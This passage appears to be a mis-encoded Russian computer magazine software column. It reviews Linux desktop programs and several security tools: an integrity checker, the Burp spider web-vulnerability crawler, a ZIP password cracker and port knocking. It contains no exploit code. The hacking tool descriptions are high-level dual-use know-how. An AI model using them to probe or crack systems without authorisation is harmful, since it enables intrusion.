GCFilms î÷åíü ïîëîæèòåëüíîå. Êñòàòè, åå èíòåðôåéñ ïîääåðæèâàåò ñêèíû.

Amarok 1.3
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â .bz2): 560 ÊÁ
http://www.boomerangsworld.de/worker/
Ëèöåíçèÿ: GNU GPL

Îäèí èç ëó÷øèõ àóäèîïëååðîâ äëÿ ñðåäû KDE. Ñîáñòâåííîãî äâèæêà âîñïðî-
èçâåäåíèÿ íå èìååò, ïîýòîìó èñïîëüçóåò óñòàíîâëåííûå â ñèñòåìå âíåøíèå
� Xine, GStreamer. Èäåÿ, ëåæàùàÿ â îñíîâå Amarok, � çàâåäîâàíèå áàçîé
äàííûõ íà ìóçûêó, êîòîðàÿ ëåæèò ó òåáÿ íà âèíòå. Amarok åå ñêàíèðóåò è ñîñ-
òàâëÿåò íà îñíîâå ýòîãî êîëëåêöèþ. Â îòëè÷èå îò äðóãèõ ïëååðîâ, â Amarok
ãëàâíîå � îêíî ïëåé-ëèñòà, à îáû÷íîå «ïëååðíîå» îêíî âîîáùå ñêðûòî ïî
óìîë÷àíèþ. Îíî è íå íóæíî. Ïîòîìó ÷òî êíîïêè óïðàâëåíèÿ è ãðàôè÷åñêèé
àíàëèçàòîð ìîæíî âûíåñòè íà ïàíåëü èíñòðóìåíòîâ îêíà ñïèñêà ïåñåí.

Amarok óìååò ñêà÷èâàòü îáëîæêè ê
àëüáîìàì (íî ìîæíî èñïîëüçîâàòü
äëÿ ýòîãî è ëîêàëüíûå ôàéëû), áðàòü
èíôîðìàöèþ îá èñïîëíèòåëå/ãðóïïå
èç ñåòåâîé ýíöèêëîïåäèè Wikipedia è
ïîëó÷àòü òåêñò òåêóùåé ïåñíè ñ
lyrc.com.ar (ïîêà ÷òî íå ñàìûé áîãà-
òûé íà òåêñòû ñàéò, íî âñå æå...).
Â Amarok åñòü ñðåäñòâî çàëèâêè
ôàéëîâ íà óñòðîéñòâî iPod � äîñòà-
òî÷íî ïåðåòàùèòü ôàéëû íà ïàíåëü

Óñòðîéñòâà è íàæàòü êíîïêó «Ïåðåäà÷à». Ïîääåðæèâàåòñÿ âûïîëíåíèå
ñêðèïòîâ � íàïðèìåð, ýêñïîðò ñïèñêà ïåñåí â HTML-ôàéë (ñ êðàñèâûì ôîð-
ìàòèðîâàíèåì), áóäèëüíèê (èãðàåò çàäàííóþ ïåñíþ â òàêîå-òî âðåìÿ) è äðóãèå. 

GtkGuitune 0.7
http://www.geocities.com/harpin_floh/kguitune_page.html
Ðàçìåð (â .gz): 54 êá.
Ëèöåíçèÿ: GNU GPL

×òîáû òî÷íî, ïðàâèëüíî íàñòðîèòü ãèòàðó âîâñå íå îáÿçàòåëüíî ïîêóïàòü
êàìåðòîí, «æåëåçíûé» òþíåð èëè ñíèìàòü òåëåôîííóþ òðóáêó, ÷òîáû
ïîñëóøàòü, êàê çâó÷àò èñêîìûå 440 ãåðö, èëè «ëÿ» ïåðâîé îêòàâû. Íàäî
ïðîñòî óñòàíîâèòü GtkGuitune.
GtkGuitune àíàëèçèðóåò ïîñòóïàþùèé íà âõîä çâóêîâîé êàðòû ñèãíàë è
ïðåîáðàçóåò åãî â ôîðìó íîò è ÷àñòîò. Çâóêîâîé ïîðò ìîæíî (è íóæíî,
ïîòîìó ÷òî ïî óìîë÷àíèþ âûñòàâëåí ïîðò óïðàâëåíèÿ ãðîìêîñòüþ) âûá-
ðàòü â íàñòðîéêàõ (Options > Recordings Input) � íàïðèìåð, Mic èëè Line.
Ïîäêëþ÷àåøü ìèêðîôîí, èãðàåøü â íåãî íà ãèòàðå. Ñìîòðèøü íà âñòðî-
åííûé GtkGuitune â äèñïëåé, ñîîòíîñèøü íàñòðàèâàåìûå ñòðóíû ñ ïîêà-
çàíèÿìè äèñïëåÿ. À âñåãî-òî íóæíî äîáèòüñÿ, ÷òîáû 1-àÿ ñòðóíà çâó÷àëà
íîòîé E (ìè), 2-àÿ � B (ñè), 3-ÿ � G, 4-àÿ � D, 5-àÿ � À è 6-àÿ � E.
Êðîìå GtkGuitune, ñî ñòðàíèöû ïðîåêòà äîñòóïíû âåðñèè ïðîãðàììû,
çàòî÷åííûå ïîä áèáëèîòåêè KDE è Qt � KGuitune è QtGuitune. Ïîýòîìó
äàæå åñëè êàêîé-ëèáî âàðèàíò Guitune ó òåáÿ íå áóäåò êîìïèëèðîâàòüñÿ
èëè ðàáîòàòü, òî íàéäåòñÿ, ÷åì åãî çàìåíèòü. 
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LogJam 4.5.1
POSIX (*BSD, Linux, Solaris...)
http://neugierig.org/software/logjam
ðàçìåð (â .bz2): 749 êá.
Ëèöåíçèÿ: GNU GPL 

Îñíîâàííûé íà áèáëèî-
òåêå GTK+2 êëèåíò äëÿ
ðàáîòû ñ LiveJournal.
Ïîíðàâèòñÿ òåì, êòî
ïðåäïî÷èòàåò îáû÷-
íûå êëèåíòû âåá-èí-
òåðôåéñàì. LogJam õî-
ðîøî ðóñèôèöèðîâàí,
ñîñòîèò èç ðåäàêòîðà
ñîîáùåíèé è íåêîòî-
ðûõ âñïîìîãàòåëüíûõ
ôóíêöèé � íàïðèìåð,
XHTML-ðàçìåòêè (êàê
èçâåñòíî, LiveJournal
èñïîëüçóåò íå HTML, à
èìåííî XHTML). Åñëè
òû õî÷åøü âñòàâèòü â
ñîîáùåíèå êàðòèíêó,

òî LogJam ñàì îïðåäåëèò åå ðàçìåð è çàïîëíèò âñå ïàðàìåòðû ýëåìåí-
òà IMG (ïðàâäà, äëÿ ýòîãî ïðîãðàììå ïðèäåòñÿ ñêà÷àòü êàðòèíêó èç Ñå-
òè). LogJam óìååò òàêæå áðàòü ó XMMS è Beep Media Player (BMP) íàçâà-
íèå òåêóùåé âîñïðîèçâîäèìîé ïåñíè è ïîìåùàòü åãî â ñîîòâåòñòâóþùåå
ïîëå ñîîáùåíèå.  
Óäîáíî ðåàëèçîâàíà âîçìîæíîñòü îòêðûâàòü ñîîáùåíèÿ ñ ñåðâåðà, ðå-
äàêòèðîâàòü è ñîõðàíÿòü èõ îáðàòíî â LiveJournal. 
Âäîáàâîê ê ýëåìåíòàì XHTML åñòü áûñòðûé äîñòóï ê âñòàâêå ñïåöèôè÷-
íûõ äëÿ LiveJournal òýãîâ: lj-cut, lj-user. Òàêæå ìîæíî ïîìåùàòü â ñîîáùå-
íèå òåêñò, âûäàííûé â êîíñîëü âíåøíåé ïðîãðàììîé. Êñòàòè, ÷òîáû ïî-
ëó÷èòü íàçâàíèå ïåñíè èç ïëååðà Amarok, ìîæíî äàòü êîìàíäó: dcop
amarok player nowPlaying. Ñàì ïî ñåáå LogJam, óâû, íå óìååò ïîëó÷àòü
èíôîðìàöèþ îò Amarok.
Â öåëîì, LogJam � èäåàëüíûé ÆÆ-êëèåíò äëÿ äèàëàïùèêîâ, êîòîðûå
äîðîæàò òðàôèêîì. Íàïèñàë ñîîáùåíèå, ïîäêëþ÷èëñÿ ê Ñåòè, íàæàë
êíîïêó «Îòïðàâèòü» , îòêëþ÷èëñÿ.

TEA 10.2
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â .bz2): 382 ÊÁ
http://tea.linux.kiev.ua
Ëèöåíçèÿ: GNU GPL

Òåêñòîâûé ðåäàêòîð è ïðîöåññîð â îäíîì ëèöå. Çàâèñèò òîëüêî îò áèá-
ëèîòåêè GTK+2.4 (èëè âûøå) è âûáîðî÷íî � îò ASpell (äëÿ ïðîâåðêè îð-
ôîãðàôèè). TEA îñíàùåí ìíîæåñòâîì ôóíêöèé îáðàáîòêè òåêñòà � íàï-
ðèìåð, ìîæåò ôèëüòðîâàòü åãî ïî çàäàííîìó øàáëîíó, ñîðòèðîâàòü, ïðè-
ìåíÿòü øàáëîí ê êàæäîé ñòðîêå. Äîïóñòèì, òû õî÷åøü çàêëþ÷èòü â òýãè
<li></li> êàæäóþ ñòðîêó â âûäåëåííîì ôðàãìåíòå òåêñòà. Øàáëîí äëÿ ýòî-
ãî áóäåò î÷åíü ïðîñò: <li>%s</li>.
Â TEA âñòðîåíû ñðåäñòâà è óòèëèòû äëÿ ïîäãîòîâêè äîêóìåíòîâ â ôîð-

ìàòå XHTML, HTML,
Docbook è LaTeX. Âñå-
âîçìîæíûå ìàñòåðà,
êîíâåðòîðû òåêñòà ñ
ïðàâèëüíîé ðàçáèâêîé
íà ïàðàãðàôû è òàê
äàëåå.
TEA îñíàùåí âñòðîåí-
íûì ôàéëîâûì ìå-
íåäæåðîì ïîä íàçâà-
íèåì Êâàñ, îñíîâàí-
íûì íà ìèíèàòþðàõ
áðàóçåðîì êàðòèíîê
Imageplane, è ñìîò-
ðåëêîé èçîáðàæåíèé
(âçàèìîäåéñòâóåò êàê
â Imageplane, òàê è ñ
ñàìèì TEA � ìîæíî
îòêðûòü êàðòèíêó, ÷üå
èìÿ óêàçàíî â òåêñòå â
ìåñòå êóðñîðà). Êðîìå

òîãî, TEA ìîæåò îòêðûâàòü â ðåæèìå «òîëüêî ÷òåíèå» äîêóìåíòû
OpenDocument, OpenOfffice.org Write, KWord, Abiword è RTF (íàëè÷èå
îôèñíûõ ïàêåòîâ ïðè ýòîì íå íóæíî).
Èç äðóãèõ èíòåðåñíûõ îñîáåííîñòåé TEA ìîæíî âûäåëèòü ñëåäóþùèå.
Ïðîñìîòð êàðòèíîê ïðÿìî â òåêñòå [X]HTML-äîêóìåíòà. Ðåäàêòèðîâàíèå
ñóáòèòðîâ â ôîðìàòå SRT (òðåáóåòñÿ Mplayer äëÿ ïðîñìîòðà ðåçóëüòà-
òîâ). Ïðîñòåéøàÿ IDE. Âûäà÷à ñòàòèñòèêè òåêñòà. Óíèâåðñàëüíûé òåêñòî-
âûé àíàëèçàòîð (ñîêðàùåííî � ÓÍÈÒÀÇ). Ïîääåðæêà ñåññèé, øàáëîíîâ,
çàêëàäîê, ïåðåîïðåäåëåíèå ãîðÿ÷èõ êëàâèø è ìíîãî ÷åãî åùå. Íà ñàéòå
ðåäàêòîðà äîñòóïåí òàêæå ôîðê TEA � Chai. Chai îñíîâàí íà äâèæêå
GtkSourceView, òðåáóåò áîëüøå áèáëèîòåê, îäíàêî ïðåäîñòàâëÿåò ïîëü-
çîâàòåëþ äèíàìè÷åñêóþ ïîäñâåòêó ñèíòàêñèñà (â TEA ðàáîòàåò òîëüêî
ñòàòè÷íàÿ) è íåêîòîðûå äðóãèå âåùè, èíòåðåñíûå ïðîãðàììèñòàì. Ê
ïðîãðàììå ïðèëàãàåòñÿ áîëüøàÿ äîêóìåíòàöèÿ íà ðóññêîì ÿçûêå.

Sylpheed-Claws 1.9.3
POSIX (*BSD, Linux, Solaris...), Win32
http://claws.sylpheed.org
Ðàçìåð (â .gz): 3.4 Ìá.
Ëèöåíçèÿ: GNU GPL

Sylpheed-Claws � ýòî
áîëåå ýêñïåðèìåí-
òàëüíûé âàðèàíò ïî÷-
òîâîãî êëèåíòà ïîä
íàçâàíèåì Sylpheed.
Sylpheed-Claws, ïî
âîçìîæíîñòÿì ìîæíî
ñðàâíèòü ñ KMail èëè
TheBat!. Sylpheed-Claws
ðàáîòàåò íà ìíîãèõ
ïëàòôîðìàõ � âûïóñ-
êàþòñÿ âåðñèè ýòîãî
ïî÷òîâèêà êàê äëÿ

*NIX, òàê è Windows. Â ñòàðîé, îñíîâàííîé íà ïåðâîì GTK âåòêå
Sylpheed-Claws áûëè ïðîáëåìû ñ ðóññêèìè êîäèðîâêàìè, îäíàêî â òåêó-
ùåé âåòêå ïîä GTK+ 2 ýòè ïðîáëåìû ïîëíîñòüþ ðåøåíû.
Sylpheed-Claws � «÷èñòûé» ïî÷òîâèê, áåç ðàçíûõ ïëàíèðîâùèêîâ è êà-
ëåíäàðåé. Åñòü, âïðî÷åì, àäðåñíàÿ êíèãà, ïðè÷åì íå ñàìàÿ óäîáíàÿ. Îä-
íàêî ïëþñîâ ó Sylpheed-Claws íàìíîãî áîëüøå, ÷åì ìèíóñîâ. Ïðîãðàììà
çàïóñêàåòñÿ ïî÷òè ìãíîâåííî � ðàç. Ïîçâîëÿåò íàñòðîèòü âñå è âñÿ �
äâà. Îáëàäàåò ìîùíûì äâèæêîì ôèëüòðîâ � òðè. 
Ïèñüìà Sylpheed-Claws õðàíèò â ôîðìàòå MH. Ýòî êîãäà êàæäîå
ïèñüìî â îòäåëüíîì ôàéëå. Èíòåðôåéñ ó Sylpheed-Claws âïîëíå
ñòàíäàðòíûé äëÿ ïî÷òîâîãî êëèåíòà, âêëþ÷àÿ ïîïóëÿðíóþ íûí÷å
ñòðîêó áûñòðîãî ïîèñêà. ×åãî íåò, òàê ýòî âèðòóàëüíûõ ïàïîê, êóäà
ñêëàäûâàëèñü áû ðåçóëüòàòû ïîèñêà. 
Â êà÷åñòâå íîâîñòíîãî êëèåíòà (äëÿ NNTP) ÿ Sylpheed-Claws íå èñ-
ïîëüçóþ , òàê êàê ðåàëèçàöèÿ, îòíîñÿùàÿñÿ ê ýòîé ôóíêöèè, ñòàáèëü-
íîñòüþ íå îòëè÷àåòñÿ. Íî äëÿ ïî÷òû... ß âåñíîé ïåðåøåë ñ KMail íà
Sylpheed-Claws (ðàáîòàë â KDE), è ïîêà íå çàäóìûâàþñü îá îáðàòíîì
ïåðåõîäå.

GKRellM 2.2.7
POSIX (*BSD, Linux, Solaris...), Win32
www.gkrellm.net
Ðàçìåð (â .bz): 658 êá
Ëèöåíçèÿ: GNU GPL

Îäíè èñïîëüçóþò äëÿ ìîíèòîðèíãà Superkaramba
èëè Desklets, äðóãèå æå (âðîäå ìåíÿ) äîâîëü-
ñòâóþòñÿ áîëåå ñêðîìíîé â ïîòðåáëåíèè ðå-
ñóðñîâ óòèëèòêîé GKRellM (GNU Krell Monitors).
Îíà ïðåäñòàâëÿåò ñîáîé âåðòèêàëüíóþ ïà-
íåëü, â êîòîðóþ âñòðàèâàþòñÿ «êðåëëû» �
áëîêè âûâîäà ðàçëè÷íîé èíôîðìàöèè: òåìïå-
ðàòóð, çàãðóçêè ïðîöåññîðà, ïàìÿòè, ôàéëîâîé
ñèñòåìû, ñåòè è òàê äàëåå.
GKRellM ïîääåðæèâàåò ñîòíè ñêèíîâ è äåñÿòêè
ïëàãèíîâ. Íî è âñòðîåííûõ êðåëëîâ òîæå äîñòà-
òî÷íî. Íåêîòîðûå èç íèõ òðåáóþò äîïîëíèòåëü-
íûõ âíåøíèõ ïðîãðàìì � íàïðèìåð, äëÿ èçìå-
ðåíèÿ òåìïåðàòóð ïîíàäîáèòñÿ lm_sensors, êî-
òîðûé, âïðî÷åì, íàéäåòñÿ â êàæäîì äèñòðèáó-
òèâå Linux. Ñàìà æå GKRellM çàâèñèò îò áèáëè-

îòåê GTK+2 è ñîïóòñòâóþùèõ åé GLib è GDK. À çíà÷èò, íå èìååò æåñòêîé
ïðèâÿçêè ê êàêîé-ëèáî ñðåäå ðàáî÷åãî ñòîëà èëè îêîííîìó ìåíåäæåðó.



[X
À

Ê
Å

Ð
1

0
 [

8
2

] 
0

5
 >

 Þ
Í

È
Ò

Û
1

5
5

]
AFICK 2.3.0
Êðîññ-ïëàòôîðìåííàÿ
GNU GPL
Size: 516 Êá
afick.sourceforge.net

Åñëè òåáå õîòÿ áû ðàç ïðèõîäèëîñü îòâå÷àòü çà áåçîïàñíîñòü UNIX-ñåð-
âåðà, òî òû íàâåðíÿêà çíàêîì ñ îòëè÷íîé ïðîãðàììîé aide  (source-
forge.net/projects/aide). Óòèëèòà, íàïèñàííàÿ íà ÷èñòîì C, ïðîñòà êàê äâå
êîïåéêè: îíà ïîñëåäîâàòåëüíî îáõîäèò çàäàííûå àäìèíîì ïàïêè è êàòà-
ëîãè, ñîõðàíÿÿ â áàçó äàííûõ ïðàâà äîñòóïà, ðàçìåð, âðåìÿ ñîçäàíèÿ,

âëàäåëüöà êàæäîãî âõîäÿùåãî â
íèõ ôàéëà. Òàêèì îáðàçîì, àäìè-
íèñòðàòîð â ëþáîé ìîìåíò ìîæåò
îòñëåæèâàòü èçìåíåíèå â ñèñòåì-
íûõ ôàéëàõ è ïðîâåðÿòü èõ öåëî-
ñòíîñòü, âûÿâëÿÿ ïðîèçâåäåííûå
ðóòêèòàìè è òðîÿíàìè èçìåíåíèÿ.
Äëÿ áîëüøåé óâåðåííîñòè, äëÿ
êàæäîãî ôàéëà ïî îäíîìó èç ïîä-
äåðæèâàåìûõ àëãîðèòìîâ âû÷èñ-
ëÿåòñÿ õýø. È åñëè ïîääåëàòü âñå
ïðî÷èå ïàðàìåòðû âïîëíå ðåàëü-
íî, òî èçìåíèòü ôàéë òàê, ÷òîáû
åãî õýø îñòàëñÿ íåèçìåííûì,

ïðàêòè÷åñêè íåâîçìîæíî. È âñå áû áûëî õîðîøî, íî aide çàòî÷åíà ïîä
UNIX, à Windows-àäìèíû îñòàþòñÿ íå ó äåë. Íî íå áåäà: èì íàâåðíÿêà
ïî äóøå ïðèäåòñÿ àíàëîã aide � AFICK. Ýòà óòèëèòà íàïèñàíà íà Perl'å,
íå çàâèñèò îò API êîíêðåòíûõ îïåðàöèîííûõ ñèñòåì, è ïîýòîìó ÿâëÿåò-
ñÿ ïîëíîñòüþ êðîññ-ïëàòôîðìåííîé. Òû ìîæåøü èñïîëüçîâàòü êàê ïîä
Unix, èñïîëüçóÿ êîíñîëüíóþ èëè GUI-øíóþ îáîëî÷êè, ëèáî ïîä Windows
âêóïå ñ Active Perl (www.activestate.com). Ïðèíöèï åå äåéñòâèÿ ïîë-
íîñòüþ àíàëîãè÷åí aide: ñíà÷àëà ñîçäàåòñÿ ÁÄ ñ ïàðàìåòðàìè è õýøà-
ìè ôàéëîâ:

Perl afick.pl -c windows.conf -i -v
À çàòåì ïðè íåîáõîäèìîñòè îñóùåñòâëÿåòñÿ ïðîâåðêà:
Perl afick.pl -c windows.conf -k
Àïäåéò áàçû îñóùåñòâëÿåòñÿ êîìàíäîé:
Perl afick.pl -c windows.conf -u

Burp spider v1.2
Êðîññ-ïëàòôîðìåííàÿ
Shareware
Size: 460 Êá
portswigger.net/spider/

Íàéòè óÿçâèìûé web-ñöåíàðèé ñóùåñòâåííî ëåã÷å, ÷åì óÿçâèìûé ñåð-
âèñ � ýòî òåîðåìà, äîêàçàííàÿ ïðàêòèêîé. Äëÿ ñåðâåðíîãî ñîôòà ïîñ-
òîÿííî âûõîäÿò îáíîâëåííûå âåðñèè, åãî èñõîäíèêè ìîãóò óäà÷íî èñ-

}units
unixWAREZ:
stepß
step@gameland.ru
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ñëåäîâàòü òîëüêî ïðîôè è, ÷òî ñàìîå ãëàâíîå, ëþáîé ãîðå-àäìèí çíà-
åò, ÷òî ñåðâåðíûé ñîôò íóæíî ïîñòîÿííî àïäåéòèòü. Äðóãîå äåëî �
web-ñêðèïòû. Åùå â÷åðà ÷èòàâøèé êíèãó «PHP äëÿ ÷àéíèêîâ» àäìèí
íà÷èíàåò âàðãàíèòü ñâîè ñîáñòâåííûé ñêðèïòû äëÿ àâòîìàòèçàöèè. À
÷òî â èòîãå? Êó÷à ïîòåíöèàëüíûõ óÿçâèìîñòåé, î êîòîðûõ, ñêîðåå âñå-
ãî, íèêòî è íèêîãäà íå óçíàåò. Åñëè, êîíå÷íî, íå áðàòü â ðàñ÷åò ïîòåí-
öèàëüíîãî õàêåðà. Èñêàòü ñêðèïòû íà ñåðâåðå, à çàòåì è èõ ñëàáûå
ìåñòà � çàíÿòèå äîâîëüíî íóäíîå è êðîïîòëèâîå. Â çíà÷èòåëüíîé ìå-
ðå îáëåã÷èòü ýòîò òðóä ñïîñîáíû ñïåöèàëüíûå óòèëèòû, îäíîé èç êîòî-
ðûõ ÿâëÿåòñÿ Burp spider. Ñ åå ïîìîùüþ õàêåð áåç òðóäà ñìîæåò îöå-
íèòü óñòðîéñòâî ñàéòà: åãî ñòðóêòóðó, èñïîëüçóåìûå ñöåíàðèè, ïàðà-
ìåòðû, êîòîðûå èì ïåðåäàþòñÿ. Âñÿ äîáûòàÿ èíôîðìàöèÿ îòîáðàæàåò-
ñÿ â âèäå íàãëÿäíîãî äåðåâà, êîòîðàÿ äîïîëíÿåòñÿ ñïåöèàëüíîé òàáëè-
öåé ñ ñàìûìè ïîäðîáíûìè äàííûìè. Âåùü äåéñòâèòåëüíî ñòîÿùàÿ, ñó-
äè ñàì. Çàïóñêàåøü Burp spider, ïðîïèñûâàåøü ïðîêñè, äàëåå óêàçûâà-
åøü ñàéò, íà êîòîðîì íóæíî íàéòè óÿçâèìîñòè è ñìåëî æìåøü «Run».
Óæå ÷åðåç íåñêîëüêî ìèíóò òû ñìîæåøü âèçóàëüíî îöåíèòü, êàêèå ñöå-
íàðèè ìîãóò áûòü óÿçâèìû, è ãäå ìîæíî «ïîêîïàòüñÿ». Ïðè÷åì êîïàòü-
ñÿ âðó÷íóþ, êàê â îãîðîäå ñ ëîïàòîé â ðóêàõ, íå ïðèäåòñÿ: Burp spider
ïðåäîñòàâëÿåò îòëè÷íóþ âîçìîæíîñòü â óäîáíîé ôîðìå ýêñïåðèìåíòè-
ðîâàòü ñî çíà÷åíèÿìè, ïåðåäàâàåìûõ web-ñêðèïòàì. Òåáå íóæíî ëèøü
ââåñòè èõ çíà÷åíèÿ â óäîáíîì îêîøêå, è ïðîãðàììà ñàìà ñãåíåðèò íóæ-
íûé URL, ïîøëåò çàïðîñ è âûäàñò ïîäðîáíóþ èíôîðìàöèþ îá îòâåòå
ñåðâåðà íà ýêðàí. Êñòàòè ãîâîðÿ, âñå îò÷åòû ïðîãðàììû ëîãèðóþòñÿ è
ê íèì ëåãêî ìîæíî âåðíóòüñÿ ïîçäíåå. Åäèíñòâåííûé íþàíñ: ïðîãà íà-
ïèñàíà íà Java, ïîýòîìó äëÿ åå ðàáîòû ïîíàäîáèòñÿ Java Runtime
Environment (java.sun.com/j2se/downloads.html)

Advanced Archive 
Password Recovery
Windows
Shareware
Size: 908 Êá
www.passwords.ru/archpr.html

Ñòðàííàÿ òåíäåíöèÿ. Â êàêóþ áû êîíòîðó ÿ íå óñòðàèâàëñÿ ðàáîòàòü, îáÿçà-
òåëüíî íàéäåòñÿ ÷åëîâåê, êîòîðûé ñïðîñèò: «Êàê ìîæíî âçëîìàòü ZIP-àð-
õèâ?» :). Íà ñàìîì äåëå ñäåëàòü ýòî ïîä ñèëó êàæäîìó, îñîáåííî åñëè ïîä
ðóêîé åñòü ñïåöèàëüíûé ïðîãà Advanced Archive Password Recovery. Êàê è â
ëþáîé äðóãîé àíàëîãè÷íîé óòèëèòå, ïåðåáîð îñóùåñòâëÿåòñÿ ïî ñëîâàðþ
èëè àâòîìàòè÷åñêè ãåíåðèðóåìûì ïàðîëÿì. Ïîëüçîâàòåëü èìååò ïðàâî ñàì
îïðåäåëèòü êðèòåðèè ïîèñêà, îáîçíà÷èòü ïàðàìåòðû ïàðîëÿ (ïåðå÷åíü ñèì-
âîëîâ, ìàêñèìàëüíàÿ è ìèíèìàëüíàÿ äëèíà è ò.ï.), à òàêæå îáîçíà÷èòü ìàñ-
êó (íàïðèìåð, ï????ü). Ïîñëåäíåå ìîæåò îñîáåííî ïðèãîäèòüñÿ, åñëè ÷àñòü
ñèìâîëîâ è èõ ðàñïîëîæåíèÿ çàâåäîìî èçâåñòíû. Áëàãîäàðÿ îïòèìèçàöèè
ïîä ñîâðåìåííûå ïðîöåññîðû, Advanced Archive Password Recovery ìîæåò
ïîõâàñòàòüñÿ äîâîëüíî âûñîêîé ñêîðîñòüþ ïåðåáîðà. Ïðàâäà, â ñëó÷àå ñ
ACE è RAR åå âîçìîæíîñòè ñèëüíî óðåçàþòñÿ èç-çà ñïåöèôèêè øèôðîâà-
íèÿ äàííûìè àðõèâàòîðàìè, íî çàòî ñ ZIP'îì è ARJ âñå ïðîñòî çàìå÷àòåëü-
íî. Ïðèìå÷àòåëüíî, ÷òî äëÿ òàêîãî òèïà àðõèâîâ âîçìîæíà àòàêà ïî èçâå-
ñòíîìó ñîäåðæàíèþ (known plaintext attack), êîòîðàÿ åùå áîëüøå óâåëè÷è-
âàåò øàíñû áûñòðî íàéòè æåëàííûé ïàðîëü. Ðàçðàáîò÷èêè óòâåðæäàþò,
÷òî åñëè èçâåñòíî ñîäåðæàíèÿ õîòÿ áû îäíîãî ôàéëà èç àðõèâà, òî âñå îñ-
òàëüíûå ôàéëû ìîãóò áûòü èçâëå÷åíû âñåãî çà íåñêîëüêî ÷àñîâ. Ïðè ýòîì
Advanced Archive Password Recovery íå íàéäåò ïàðîëü êàê òàêîâîé, çàòî
ïîäáåðåò òðè 32-áèòíûõ êëþ÷à, ñ ïîìîùüþ êîòîðûõ è ðàñøèôðóåò ñîäåð-
æèìîå àðõèâà. Êîíêðåòíî ïî ZIP-àðõèâàì ñêàæó � âçëîìàòü èõ ïðîùå ïà-

ðåíîé ðåïû. ZIP èñïîëüçóåò ïðåäåëüíî ïðèìèòèâíîå øèôðîâàíèÿ, ïîýòîìó
ïîèñê ïàðîëÿ ìîæåò îñóùåñòâëÿòüñÿ ñî ñêîðîñòüþ 15 ìèëëèîíîâ ïàðîëåé â
ñåêóíäó íà ïðîöåññîðå P-III 1 ÃÃö. Âïå÷àòëÿåò, ïðàâäà?

Knockd
Windows/Linux
Opensource
Size: 83 Êá (Ñåðâåð), 513 Êá (êëèåíò ïîä Windows)
www.zeroflux.org/knock

Ðàçãîâîð ñ àäìèíîì-êîëëåãîé (ñëó÷àé èç æèçíè):
� Ñòåï, ïîäêëþ÷èñü ÷åðåç SSH íà 10.1.1.10, ïîæàëóéñòà.
� Íå ïàøåò, ãîâîðèò, ÷òî ïîðò çàêðûò�
� Íå ìîæåò áûòü!
� ×åãî íå ìîæåò? Òàì âîîáùå ÂÑÅ ïîðòû çàêðûòû: ÿ òîëüêî ÷òî
nmap'îì ïðîâåðèë�
Íå äîëãî äóìàÿ, àäìèí ïîäõîäèò êî ìíå, çàïóñêàåò ÷åðåç êàêîé-òî BAT-ôàéë
SSH-êëèåíò Putty è ñîâåðøåííî ñïîêîéíî ïîäêëþ÷àåòñÿ ê ñåðâåðó� Ïîñëå
ýòîãî îí îòêðûâàåò áðàóçåð è ñ òåì æå óñïåõîì êîííåêòèòñÿ åùå è ê óñòàíîâ-
ëåííîìó íà òîé æå ìàøèíå âåá-ñåðâåðó. ×òî çà ôèãíÿ?! Îêàçàëîñü, ÷òî ñ íå-
äàâíèõ ïîðò àäìèí «ïîäñåë» íà èñïîëüçîâàíèè äîâîëüíî ìîùíîé è âåñåëîé
òåõíîëîãèè Port Knocking (åñëè ïåðåâîäèòü, òî ïîëó÷àåòñÿ ÷òî-òî âðîäå «ïîñ-
òó÷àòü â ïîðò»). Ôèøêà çàêëþ÷àåòñÿ â òîì, ÷òî íà ñåðâåðå óñòàíàâëèâàåòñÿ
ñïåöèàëüíàÿ ñîôòèíà, êîòîðàÿ «ñëóøàåò ñåòü» è óïðàâëÿåò ïðàâèëàìè ôàéð-
âîëà. Åñëè íà çàäàííûé ïîðò ïðèõîäèò ñïåöèàëüíî ñîñòàâëåííûé ïàêåò (òóê-
òóê!), ÿâëÿþùèéñÿ èíäèêàòîðîì ê äåéñòâèþ, òî ïðîãðàììà îòêðûâàåò ïîðòû,
êîòîðûå çàäàíû â êîíôèãóðàöèè (íàïðèìåð, SSH è âåá-ñåðâåð), è ðàçðåøàåò
ê íèì ïîäêëþ÷åíèå. Íî ýòî ñàìûé ïðîñòîé ñëó÷àé. Áëàãîäàðÿ òîìó, ÷òî óï-
ðàâëåíèå ïîðòàìè îñóùåñòâëÿåòñÿ ñ ïîìîùüþ áàíàëüíîãî ôàéðâîëà
(Knockd ðàáîòàåò ñ iptables) ìîæíî îáîçíà÷èòü ñîâåðøåííî èçîùðåííûå ïðà-
âèëà îáðàáîòêè èíäèêàöèîííûõ ïàêåòîâ. Âîîáùå, ñóùåñòâóåò äîâîëüíî ìíî-
ãî ðåàëèçàöèé (www.portknocking.org/view/implementations) ýòîãî ìåõàíèçìà,
îäíàêî ÿ ðåêîìåíäóþ èñïîëüçîâàòü èìåííî Knockd. Ïî÷åìó? Ïîòîìó, ÷òî
èìååò êëèåíòîâ ïîä ëþáóþ îïåðàöèîííóþ ñèñòåìó, è òû áåç òðóäà ñìîæåøü
çàþçàòü åãî, ðàáîòàÿ êàê ïîä POSIX, òàê è Windows.





From: Âèòàëèé Êîðêóíîâ [vital97@narod.ru]
Subj: Íåðàáîòàþùèé DVD :(
Çäðàâñòâóé óâàæàåìàÿ ðåäàêöèÿ, è îòäåëüíîå çäðàñüòå òîìó, êòî ÷èòà-
åòìîå ïèñüìî. À ïèøó ÿ âîò ïî êàêîìó ïîâîäó. Êóïèë íåäàâíî ñåíòÿáðüñ-
êèé íîìåð ][, ñðàçó ðàçî÷àðîâàëñÿ, íå÷èòàåìûå øðèôòû, êèñëîòíàÿ îá-
ëîæêà, ÷åðíî-áåëûå èëëþñòðàöèè. Êàêàÿ-òî ãåéìåðñêàÿ ðåêëàìà. Íî ýòî
âñÿ ôèãíÿ, ïðèåõàâ èç óíèâåðà, ðåøèë ïîñìîòðåòü ñîäåðæèìîå DVD, íî
è òóò îáëîì � äèñê íå çàõîòåë çàðóñêàòüñÿ, äîëãî øàìàíèë íàä íèì, íî
íèêàêîãî òîëêó, èíîãäà âûäàâàë îøèáêó ÷òåíèÿ èëè îøèáêó âîò òàêîãî
ðîäà: "Ïðèëîæåíèå Autorun.exe íå ìîæåò áûòü ïðèëîæåíèåì Win32" (ìî-
æåò íåìíîãî îøèáàþñü, íî ïðèìåðíî òàêîå). Óæ è ðåàíèìàòîðàìè äèñ-
êîâ ïîëüçîâàëñÿ è Alcohol 120%, íî òîëêó íåò. Õîäèë ê ñîñåäÿì, ó íèõ
